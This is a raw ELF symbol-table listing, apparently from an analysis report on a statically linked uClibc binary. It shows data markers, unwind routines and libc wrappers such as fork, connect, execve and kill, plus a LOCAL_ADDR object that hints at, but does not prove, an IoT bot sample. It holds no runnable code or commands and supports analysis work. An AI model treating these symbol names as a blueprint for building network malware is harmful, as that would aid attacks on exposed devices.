                                                                                                                          $d.symtab0xe6a40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xe9240NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xebd80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x217280NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x217440NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0xed7c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xee800NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xeff80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xf0d40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xf1a80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xf27c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xf3cc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xf6c00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xf70c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x218a20NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x2d11c0NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x2d14c0NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x2d1600NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0xf7e80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xfa0c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xfb9c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xfd500NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d17c0NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x22b5c0NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x22c2c0NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0xfd800NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0xfe080NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x107c80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d1a40NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x2d1a80NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x2d1ac0NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x2d1b00NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x22c480NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x108580NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x108c00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x109340NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x10a100NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x10f700NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1100c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x110ac0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x117540NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d1b40NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x11d100NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d1b80NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x235b40NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x00NOTYPE<unknown>DEFAULT21
                                                                                                                          $d.symtab0x200NOTYPE<unknown>DEFAULT21
                                                                                                                          $d.symtab0x260NOTYPE<unknown>DEFAULT21
                                                                                                                          $d.symtab0x2c0NOTYPE<unknown>DEFAULT21
                                                                                                                          $d.symtab0x4c0NOTYPE<unknown>DEFAULT21
                                                                                                                          $d.symtab0x530NOTYPE<unknown>DEFAULT21
                                                                                                                          $d.symtab0x125cc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x126b80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x127040NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1273c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1277c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x127bc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x128100NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x128540NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x128980NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x128d80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x129ac0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x129f00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12a340NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12a740NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12aac0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12ae40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12b280NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12ba80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12bec0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12c780NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12cb80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12d300NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12d700NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12e3c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12ec00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x12fbc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x130a00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x131600NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x132140NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x238cc0NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x132f00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x133200NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x133540NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x136780NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x137240NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x138280NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x139ec0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x13ab40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x13ee40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x13f880NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x140e00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d2040NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x2d2000NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x149100NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2393c0NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x14bc40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x14c100NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1515c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d2e80NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x239440NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x1525c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1586c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x15c1c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x15e800NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x15f440NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x161a00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x163900NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x165a80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x239d40NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x166340NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x166d80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x167400NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x167b40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x167f80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1683c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x168b00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x168f40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1693c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x169800NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x169c00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16a300NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16a7c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16b000NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16b440NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16bb40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16c000NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16c880NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16cd00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16d140NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16d680NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x16e380NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1783c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d2ec0NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x179840NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x17d400NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x181e40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x182380NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x183540NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d3040NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x184080NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x184c00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x185800NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x186240NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d31c0NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x2d3b40NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x186cc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1879c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x188900NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x189800NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x245400NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x18bac0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x18c600NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d3c80NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x18d240NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x18d580NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x18e880NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x194a40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1951c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x198c40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x19ab00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x19bdc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x19bf00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x19c800NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x19d100NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x19efc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x19fb00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1a0100NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1a0640NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1a4100NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x2d3e00NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x1a5980NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1aab80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ab740NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1abf40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ac240NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1aca40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ad1c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ad800NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1adc40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ae280NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1aec80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1af540NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1af900NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1afd00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b0280NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b0680NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b0a80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b1040NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b1480NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b1b00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b2000NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b3e80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b4c40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b8740NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1b9ac0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1bae00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1bcc40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1bda00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1c7740NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x248f00NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x1c8680NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1cfc40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1d0540NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1d3c80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x249540NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x1d9440NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x249800NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x1dbc00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1e1480NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1e24c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1e3380NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1e4cc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1e71c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1eac00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1eae00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ebd00NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ec400NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ee7c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1eedc0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1ef8c0NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1f0e40NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1f1900NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x1f2740NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x202a80NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x20c500NOTYPE<unknown>DEFAULT2
                                                                                                                          $d.symtab0x580NOTYPE<unknown>DEFAULT21
                                                                                                                          $d.symtab0x00NOTYPE<unknown>DEFAULT23
                                                                                                                          $d.symtab0x23c0NOTYPE<unknown>DEFAULT21
                                                                                                                          $d.symtab0xe390NOTYPE<unknown>DEFAULT23
                                                                                                                          $d.symtab0x2d1f80NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x235cc0NOTYPE<unknown>DEFAULT4
                                                                                                                          $d.symtab0x2d3ec0NOTYPE<unknown>DEFAULT13
                                                                                                                          $d.symtab0x245d80NOTYPE<unknown>DEFAULT4
                                                                                                                          C.10.4589.symtab0x217448OBJECT<unknown>DEFAULT4
                                                                                                                          C.11.5548.symtab0x245ac12OBJECT<unknown>DEFAULT4
                                                                                                                          C.2.4490.symtab0x2172828OBJECT<unknown>DEFAULT4
                                                                                                                          C.22.4703.symtab0x22c488OBJECT<unknown>DEFAULT4
                                                                                                                          C.22.5736.symtab0x215875OBJECT<unknown>DEFAULT4
                                                                                                                          C.3.4520.symtab0x235b424OBJECT<unknown>DEFAULT4
                                                                                                                          C.34.3168.symtab0x22c2c20OBJECT<unknown>DEFAULT4
                                                                                                                          C.36.3187.symtab0x22b5c208OBJECT<unknown>DEFAULT4
                                                                                                                          C.42.6203.symtab0x215825OBJECT<unknown>DEFAULT4
                                                                                                                          C.5.5083.symtab0x238cc24OBJECT<unknown>DEFAULT4
                                                                                                                          C.7.5370.symtab0x245b812OBJECT<unknown>DEFAULT4
                                                                                                                          C.7.6078.symtab0x238e412OBJECT<unknown>DEFAULT4
                                                                                                                          C.7.6109.symtab0x2391412OBJECT<unknown>DEFAULT4
                                                                                                                          C.7.6182.symtab0x238f012OBJECT<unknown>DEFAULT4
                                                                                                                          C.7.6365.symtab0x239c812OBJECT<unknown>DEFAULT4
                                                                                                                          C.8.6110.symtab0x2390812OBJECT<unknown>DEFAULT4
                                                                                                                          C.9.6119.symtab0x238fc12OBJECT<unknown>DEFAULT4
                                                                                                                          LOCAL_ADDR.symtab0x2ff884OBJECT<unknown>DEFAULT14
                                                                                                                          Laligned.symtab0x160580NOTYPE<unknown>DEFAULT2
                                                                                                                          Llastword.symtab0x160740NOTYPE<unknown>DEFAULT2
                                                                                                                          _Exit.symtab0x1ad20104FUNC<unknown>DEFAULT2
                                                                                                                          _GLOBAL_OFFSET_TABLE_.symtab0x2d0100OBJECT<unknown>HIDDEN12
                                                                                                                          _Jv_RegisterClasses.symtab0x00NOTYPE<unknown>DEFAULTSHN_UNDEF
                                                                                                                          _READ.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          _Unwind_Complete.symtab0x2005c4FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_DeleteException.symtab0x2006044FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_ForcedUnwind.symtab0x20d1036FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_GetCFA.symtab0x200548FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_GetDataRelBase.symtab0x2009812FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_GetLanguageSpecificData.symtab0x20d3468FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_GetRegionStart.symtab0x214d452FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_GetTextRelBase.symtab0x2008c12FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_RaiseException.symtab0x20ca436FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_Resume.symtab0x20cc836FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_Resume_or_Rethrow.symtab0x20cec36FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_VRS_Get.symtab0x1ffbc76FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_VRS_Pop.symtab0x205d4324FUNC<unknown>HIDDEN2
                                                                                                                          _Unwind_VRS_Set.symtab0x2000876FUNC<unknown>HIDDEN2
                                                                                                                          _WRITE.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __C_ctype_b.symtab0x2d1f84OBJECT<unknown>DEFAULT13
                                                                                                                          __C_ctype_b.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __C_ctype_b_data.symtab0x235cc768OBJECT<unknown>DEFAULT4
                                                                                                                          __C_ctype_tolower.symtab0x2d3ec4OBJECT<unknown>DEFAULT13
                                                                                                                          __C_ctype_tolower.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
                                                                                                                          __C_ctype_tolower_data.symtab0x245d8768OBJECT<unknown>DEFAULT4
                                                                                                                          __EH_FRAME_BEGIN__.symtab0x2d0000OBJECT<unknown>DEFAULT7
                                                                                                                          __FRAME_END__.symtab0x2d0000OBJECT<unknown>DEFAULT7
                                                                                                                          __GI___C_ctype_b.symtab0x2d1f84OBJECT<unknown>HIDDEN13
                                                                                                                          __GI___C_ctype_tolower.symtab0x2d3ec4OBJECT<unknown>HIDDEN13
                                                                                                                          __GI___close.symtab0x19c10100FUNC<unknown>HIDDEN2
                                                                                                                          __GI___close_nocancel.symtab0x19bf424FUNC<unknown>HIDDEN2
                                                                                                                          __GI___ctype_b.symtab0x2d1fc4OBJECT<unknown>HIDDEN13
                                                                                                                          __GI___ctype_tolower.symtab0x2d3f04OBJECT<unknown>HIDDEN13
                                                                                                                          __GI___errno_location.symtab0x1330432FUNC<unknown>HIDDEN2
                                                                                                                          __GI___fcntl_nocancel.symtab0x1253c152FUNC<unknown>HIDDEN2
                                                                                                                          __GI___fgetc_unlocked.symtab0x1da9c300FUNC<unknown>HIDDEN2
                                                                                                                          __GI___glibc_strerror_r.symtab0x1649424FUNC<unknown>HIDDEN2
                                                                                                                          __GI___libc_close.symtab0x19c10100FUNC<unknown>HIDDEN2
                                                                                                                          __GI___libc_fcntl.symtab0x125d4244FUNC<unknown>HIDDEN2
                                                                                                                          __GI___libc_open.symtab0x19ca0100FUNC<unknown>HIDDEN2
                                                                                                                          __GI___libc_read.symtab0x19d30100FUNC<unknown>HIDDEN2
                                                                                                                          __GI___libc_write.symtab0x1eb00100FUNC<unknown>HIDDEN2
                                                                                                                          __GI___open.symtab0x19ca0100FUNC<unknown>HIDDEN2
                                                                                                                          __GI___open_nocancel.symtab0x19c8424FUNC<unknown>HIDDEN2
                                                                                                                          __GI___read.symtab0x19d30100FUNC<unknown>HIDDEN2
                                                                                                                          __GI___read_nocancel.symtab0x19d1424FUNC<unknown>HIDDEN2
                                                                                                                          __GI___sigaddset.symtab0x16e6836FUNC<unknown>HIDDEN2
                                                                                                                          __GI___sigdelset.symtab0x16e8c36FUNC<unknown>HIDDEN2
                                                                                                                          __GI___sigismember.symtab0x16e4436FUNC<unknown>HIDDEN2
                                                                                                                          __GI___uClibc_fini.symtab0x19f48124FUNC<unknown>HIDDEN2
                                                                                                                          __GI___uClibc_init.symtab0x1a01888FUNC<unknown>HIDDEN2
                                                                                                                          __GI___write.symtab0x1eb00100FUNC<unknown>HIDDEN2
                                                                                                                          __GI___write_nocancel.symtab0x1eae424FUNC<unknown>HIDDEN2
                                                                                                                          __GI___xpg_strerror_r.symtab0x164ac268FUNC<unknown>HIDDEN2
                                                                                                                          __GI__exit.symtab0x1ad20104FUNC<unknown>HIDDEN2
                                                                                                                          __GI_abort.symtab0x18240296FUNC<unknown>HIDDEN2
                                                                                                                          __GI_accept.symtab0x16748116FUNC<unknown>HIDDEN2
                                                                                                                          __GI_atoi.symtab0x1898c32FUNC<unknown>HIDDEN2
                                                                                                                          __GI_bind.symtab0x167bc68FUNC<unknown>HIDDEN2
                                                                                                                          __GI_brk.symtab0x1ef4088FUNC<unknown>HIDDEN2
                                                                                                                          __GI_chdir.symtab0x1270856FUNC<unknown>HIDDEN2
                                                                                                                          __GI_chmod.symtab0x1274064FUNC<unknown>HIDDEN2
                                                                                                                          __GI_close.symtab0x19c10100FUNC<unknown>HIDDEN2
                                                                                                                          __GI_closedir.symtab0x12ec8272FUNC<unknown>HIDDEN2
                                                                                                                          __GI_config_close.symtab0x1b80052FUNC<unknown>HIDDEN2
                                                                                                                          __GI_config_open.symtab0x1b83472FUNC<unknown>HIDDEN2
                                                                                                                          __GI_config_read.symtab0x1b4d8808FUNC<unknown>HIDDEN2
                                                                                                                          __GI_connect.symtab0x16844116FUNC<unknown>HIDDEN2
                                                                                                                          __GI_dup2.symtab0x1278064FUNC<unknown>HIDDEN2
                                                                                                                          __GI_execl.symtab0x18c80172FUNC<unknown>HIDDEN2
                                                                                                                          __GI_execv.symtab0x18d2c52FUNC<unknown>HIDDEN2
                                                                                                                          __GI_execve.symtab0x1ad8864FUNC<unknown>HIDDEN2
                                                                                                                          __GI_exit.symtab0x18bbc196FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fclose.symtab0x13358816FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fcntl.symtab0x125d4244FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fflush_unlocked.symtab0x15888940FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fgetc.symtab0x1d958324FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fgetc_unlocked.symtab0x1da9c300FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fgets.symtab0x15264284FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fgets_unlocked.symtab0x15c34160FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fopen.symtab0x1368832FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fork.symtab0x19520972FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fputs_unlocked.symtab0x15cd456FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fread.symtab0x15380300FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fread_unlocked.symtab0x15d0c384FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fseek.symtab0x136a836FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fseeko64.symtab0x13830448FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fstat.symtab0x1adc8100FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fwrite.symtab0x154ac300FUNC<unknown>HIDDEN2
                                                                                                                          __GI_fwrite_unlocked.symtab0x15e8c188FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getc_unlocked.symtab0x1da9c300FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getdtablesize.symtab0x1aecc44FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getegid.symtab0x1aef820FUNC<unknown>HIDDEN2
                                                                                                                          __GI_geteuid.symtab0x1af0c20FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getgid.symtab0x1af2020FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getpagesize.symtab0x1af3440FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getpid.symtab0x1998472FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getrlimit.symtab0x1af5c56FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getsockname.symtab0x168b868FUNC<unknown>HIDDEN2
                                                                                                                          __GI_gettimeofday.symtab0x1af9464FUNC<unknown>HIDDEN2
                                                                                                                          __GI_getuid.symtab0x1afd420FUNC<unknown>HIDDEN2
                                                                                                                          __GI_inet_addr.symtab0x166dc40FUNC<unknown>HIDDEN2
                                                                                                                          __GI_inet_aton.symtab0x1e3dc248FUNC<unknown>HIDDEN2
                                                                                                                          __GI_initstate_r.symtab0x187a8248FUNC<unknown>HIDDEN2
                                                                                                                          __GI_ioctl.symtab0x128dc224FUNC<unknown>HIDDEN2
                                                                                                                          __GI_isatty.symtab0x1663c36FUNC<unknown>HIDDEN2
                                                                                                                          __GI_kill.symtab0x129bc56FUNC<unknown>HIDDEN2
                                                                                                                          __GI_listen.symtab0x1694464FUNC<unknown>HIDDEN2
                                                                                                                          __GI_lseek64.symtab0x1b37c112FUNC<unknown>HIDDEN2
                                                                                                                          __GI_mbrtowc.symtab0x1f0ec172FUNC<unknown>HIDDEN2
                                                                                                                          __GI_mbsnrtowcs.symtab0x1f198232FUNC<unknown>HIDDEN2
                                                                                                                          __GI_memchr.symtab0x1e060240FUNC<unknown>HIDDEN2
                                                                                                                          __GI_memcpy.symtab0x15f504FUNC<unknown>HIDDEN2
                                                                                                                          __GI_memmove.symtab0x15f604FUNC<unknown>HIDDEN2
                                                                                                                          __GI_mempcpy.symtab0x1e15036FUNC<unknown>HIDDEN2
